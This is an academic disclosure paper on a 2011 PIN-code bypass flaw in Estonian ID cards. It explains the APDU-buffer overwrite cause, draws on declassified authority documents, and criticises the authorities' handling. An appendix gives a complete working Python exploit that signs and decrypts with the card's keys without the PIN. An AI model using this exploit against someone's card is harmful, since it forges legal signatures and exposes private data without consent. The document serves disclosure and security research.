Technical details of the security flaw in the Estonian ID cards issued in 2011

Arnis Parsovs
University of Tartu

September 20, 2021

1 Introduction

On 2021-08-16, we approached the Estonian Information System Authority (Riigi Infosüsteemi Amet – RIA) asking for internal documents about the security flaw in the Estonian ID cards issued in 2011[1]. On 2021-08-25, RIA shared with us 4 documents [2] classified as information intended for internal use. Two of the documents discuss the padding oracle attack in the decryption functionality of the ID card (Section 6.3 in [1]), one document discusses quality issues of the EstEID v3.0 JavaCard applet, and the last document (dated 2011-12-14 and authored by the Finnish security testers Toni Koivunen and Sauli Pahlman) reports a "bypassing signing and decryption PIN code validation" weakness found by analyzing the source code of the EstEID v3.0 JavaCard applet. On 2011-12-20, all 4 documents had been classified for internal use until 2016-12-20, and on 2016-12-21 the classification was extended for 5 more years until 2021-12-21. The grounds for classification of information as internal refer to clauses 35(1)(9) and 35(1)(10) of the Public Information Act.

In the section below we describe the PIN code bypass flaw reported by the Finnish security testers and provide some additional insights.

2 Description of the flaw

Location of the flaw. The PIN code bypass flaw resides in the EstEID JavaCard applet's code that checks whether a command has been sent over a secure messaging channel using the passphrase authentication feature. The passphrase authentication feature (Section 6.1.1 in [1]) is intended to allow execution of cryptographic operations over a secure messaging channel established using 3DES keys derived from a password entered by a user, without requiring PIN entry from the user. The vulnerable EstEID applet, however, fails to correctly verify whether the command is sent over a secure channel and hence opens the card to a PIN code bypass flaw.

[1] The analysis of the incident based on publicly available information is provided in Section 6.4 of [1].

Exploitation of the flaw. The exploitation of the flaw is trivial (see Appendix). To exploit the flaw, the final command APDU (Application Protocol Data Unit) that performs a cryptographic operation has to be zero-padded to 390 bytes with the last 3 bytes set to `0x040002` or `0x050002` for PIN1 and PIN2 operations, respectively. The command has to be sent to the card using the T=1 transmission protocol. When receiving such a command, the cryptographic operation will be completed successfully even if the PIN code verification command `VERIFY` has not been received from the terminal. While the exploitation of the flaw is trivial, discovering such a flaw through black box security testing of the applet (e.g., fuzz testing) is infeasible, as that would involve a brute-force search using different values of the long APDU padding.

Cause of the flaw. The PIN code bypass using the aforementioned command is possible because: (1) the vulnerable applet stores the status of whether the secure messaging channel was used to send a command at the end of JavaCard APDU buffer, and (2) it is possible to fully overwrite the APDU buffer by sending a long APDU command over the T=1 transmission protocol.

Since the amount of RAM available on smart card platforms is very limited (a few kilobytes at the maximum), it is a common development practice to use the APDU buffer for temporary data storage, as the APDU buffer in JavaCard is a global array stored in RAM [3]. The JavaCard platform used on the affected ID cards[2] has an APDU buffer that is 390 bytes long. Since the command APDU by its structure is limited to 261 bytes (5-byte APDU header + 255 bytes of APDU data + `Le` byte), it is expected that the remaining space of the APDU buffer can be safely used for other purposes.

However, contrary to this expectation, in practice a complete overwrite and hence a full control of the APDU buffer is possible by sending a single APDU command over the T=1 transmission protocol[3]. This is due to undocumented behavior of the JavaCard runtime environment. Namely, the fact that in the case of T=1, the `setIncomingAndReceive()` [3] method will read all bytes sent by the terminal into the APDU buffer regardless of the value specified in the length contained `Lc` field (5th byte of the APDU header). We note that there is no trivial way for an applet to obtain the number of bytes that were written in the APDU buffer, as the `setIncomingAndReceive()` and `getIncomingLength()` methods will return the value of `Lc` (at the maximum) and not the number of bytes actually written. To conclude, the data stored in the APDU buffer can be trusted only if the execution flow of the applet guarantees that the data in the APDU buffer was written by the applet itself after the `setIncomingAndReceive()` method was called. This, unfortunately, was not guaranteed by the applet in this case.

Impact of the flaw. The Finnish security testers in their report describe two PIN code validation bypass scenarios: (1) signing of an on-card calculated SHA-1 hash value using the digital signature key (Section 4.1.2 in [1]), and (2) decryption of an RSA ciphertext using the authentication key.

[2]The jTOP SLE66 platform (see Section 3.3 in [1]).

[3]The protocol T=0 cannot be used to fully overwrite the APDU buffer as there the length of a command APDU is limited to 260 bytes by the transmission protocol.

We note, however, that the PIN code validation can be bypassed for any cryptographic operation that can be authenticated using the passphrase authentication feature. That is, signing of raw values with the digital signature and authentication key, and decryption of RSA ciphertexts with the digital signature and authentication key. Also, the exploit works even if the PIN and PUK codes on the card are blocked.

We were able to exploit the flaw on an ID card with the date of issuance of 2011-03-28, and we verified that the flaw cannot be exploited on an ID card with the date of issuance of 2011-12-30[4].

Decision to hide the nature and the true impact of the flaw. In our initial analysis we considered the possibility that the involved parties did not disclose the nature of the flaw (and even the fact that the flaw is serious) in order to prevent the reverse-engineering of the flaw before the affected ID cards were renewed. However, from the technical details of the flaw we see that the flaw cannot be exploited without knowing the details from the applet's source code. Therefore, had the public been informed that the flaw allowed PIN bypass, the likelihood of the flaw being exploited would not have increased.

Of course, public knowledge of the severity of the flaw would have forced the involved parties to perform their legal obligation to revoke the certificates of the 120 000 affected ID cards as soon as they learned about the flaw. Instead, as the details of how to exploit the flaw were available only to a limited circle of "good guys", it was decided that the risk of abuse was low and there was no need to alarm the public. As a result, more than 78 000 cardholders from December 2011 to July 2013 (when the certificates were finally revoked) had an ID card in their posession, which could be used at its full extent without knowledge of the PIN codes.

Similarities to today's situation. It is important to note that the current situation might not be too different from 2011, as there still exists a group of people who have the capability to use the ID card by bypassing the PIN verification mechanism. This is due to the known PIN bypass feature that is used to unblock and change forgotten PIN codes in PPA customer service points (Section 2.11.4 in [1]). The feature is implemented using the so-called"police key" that is held by the ID card manufacturer [5].

While the risk of the police key being abused is not conceptually different from the abuse of the "APDU padding key" that was discovered in December 2011, the reason why the authorities are not obliged to act here, is simply because they have chosen to not be aware of the risk. The handling of the risk has been contractually transferred to the ID card manufacturer and hence the knowledge of how the police key is actually stored and who has access to it is not desirable.

We are afraid that the 2011 case has taught the authorities that it may be better to not be aware of how the ID card manufacturer ensures the security of the ID card, as the knowledge of how it is actually done may put an obligation on the authorities to act.

[4]The certificates on the card in question were issued on 2012-01-07 and the document number of the ID card starts with AA01 (according to the press release [4], the document numbers of the affected cards start with AA00).

Acknowledgements. This research has been carried out with financial support from the European Social Fund through the IT Academy programme and from the Estonian Ministry of Economic Affairs and Communications.

References

[1] Arnis Parsovs. *Estonian Electronic Identity Card and its Security Challenges*. PhD thesis, University of Tartu, 2021. https://dspace.ut.ee/handle/10062/71481.

[2] Estonian Information System Authority. Declassified documents about the security flaw in the Estonian ID cards issued in 2011, December 20, 2011. https://cybersec.ee/storage/20111220_declassified_idcard_2011_flaw_documents.pdf.

[3] Oracle. Class APDU (Java Card API, Classic Edition), 2015. https://docs.oracle.com/javacard/3.0.5/api/javacard/framework/APDU.html.

[4] Police and Border Guard Board. FAQ: Renewing ID-Cards issued in 2011, May 17, 2013. https://www.id.ee/en/article/renewing-id-cards-issued-in-2011/.

[5] Geenius. New ID cards can be accessed with a "police key": what is it for? (in Estonian), December 21, 2018. https://digi.geenius.ee/rubriik/uudis/uutele-id-kaartidele-paaseb-ligi-politsei-votmega-milleks-see-moeldud-on/.

Appendix: exploit_esteid_2011.py

```python
#!/usr/bin/env python3

# sudo apt install python3-m2crypto python3-pyscard
import M2Crypto
from smartcard.CardType import AnyCardType
from smartcard.CardRequest import CardRequest
from smartcard.CardConnection import CardConnection

def esteid_read_cert(cert_type):

    if cert_type == 'auth':
        EF = [0xAA, 0xCE]
    elif cert_type == 'sign':
        EF = [0xDD, 0xCE]

    channel.transmit([0x00, 0xA4, 0x00, 0x0C]) # SELECT FILE (MF)
    channel.transmit([0x00, 0xA4, 0x01, 0x0C, 0x02, 0xEE, 0xEE]) # SELECT FILE (DF - EEEE)
    channel.transmit([0x00, 0xA4, 0x02, 0x0C, 0x02] + EF) # SELECT FILE (EF - DDCE/AACE)

    # read the first 10 bytes and calculate the length of the certificate
    cert = bytes(channel.transmit([0x00, 0xB0, 0x00, 0x00, 0x0A])[0])
    cert_len = (cert[2] << 8 | cert[3]) + 4

    # reading the entire certificate
    while True:
        read_len = min(255, cert_len-len(cert))
        if not read_len: break
        cert+= bytes(channel.transmit([0x00, 0xB0, len(cert) >> 8, len(cert) & 0xff, read_len])[0])

    return cert

def esteid_exploit_sign(pin):

    data = b"Hello world!"

    extra = [0x00]*(390-5-3-len(data))
    if pin == 1:
        extra+= [0x04, 0x00, 0x02]
        # INTERNAL AUTHENTICATE
        r = channel.transmit([0x00, 0x88, 0x00, 0x00, len(data)] + list(data) + extra)[0]
    elif pin == 2:
        extra+= [0x05, 0x00, 0x02]
```

```
        # PSO COMPUTE DIGITAL SIGNATURE
        r = channel.transmit([0x00, 0x2A, 0x9E, 0x9A, len(data)] + list(data) + extra)[0]
    print("[+] Signature:", bytes(r).hex())

def esteid_exploit_decrypt(pin):

    extra = [0x00]*(390-5-3-129)
    if pin == 1:
        extra+= [0x04, 0x00, 0x02]
        KID = 0x11
    elif pin == 2:
        extra+= [0x05, 0x00, 0x02]
        KID = 0x01

    # encrypting data using the public key from the certificate
    data = b"Hello world!"
    cert = esteid_read_cert({1:'auth', 2:'sign'}[pin])
    rsa_key_pub = M2Crypto.X509.load_cert_der_string(cert).get_pubkey().get_rsa()
    c = b"\x00" + rsa_key_pub.public_encrypt(data, M2Crypto.RSA.pkcs1_padding)

    # sending ciphertext to the card for decryption
    channel.transmit([0x00, 0x22, 0x41, 0xB8, 0x05, 0x83, 0x03, 0x80, KID, 0x00]) # set KID
    channel.transmit([0x10, 0x2A, 0x80, 0x86, 128] + list(c[:128]))
    r = channel.transmit([0x00, 0x2A, 0x80, 0x86, 129] + list(c[128:]) + extra)[0]
    print("[+] Decrypted plaintext:", bytes(r).decode())

channel = CardRequest(timeout=100, cardType=AnyCardType()).waitforcard().connection
print("[+] Selected reader:", channel.getReader())
channel.connect(CardConnection.T1_protocol)

esteid_exploit_sign(pin=2)
esteid_exploit_decrypt(pin=1)
```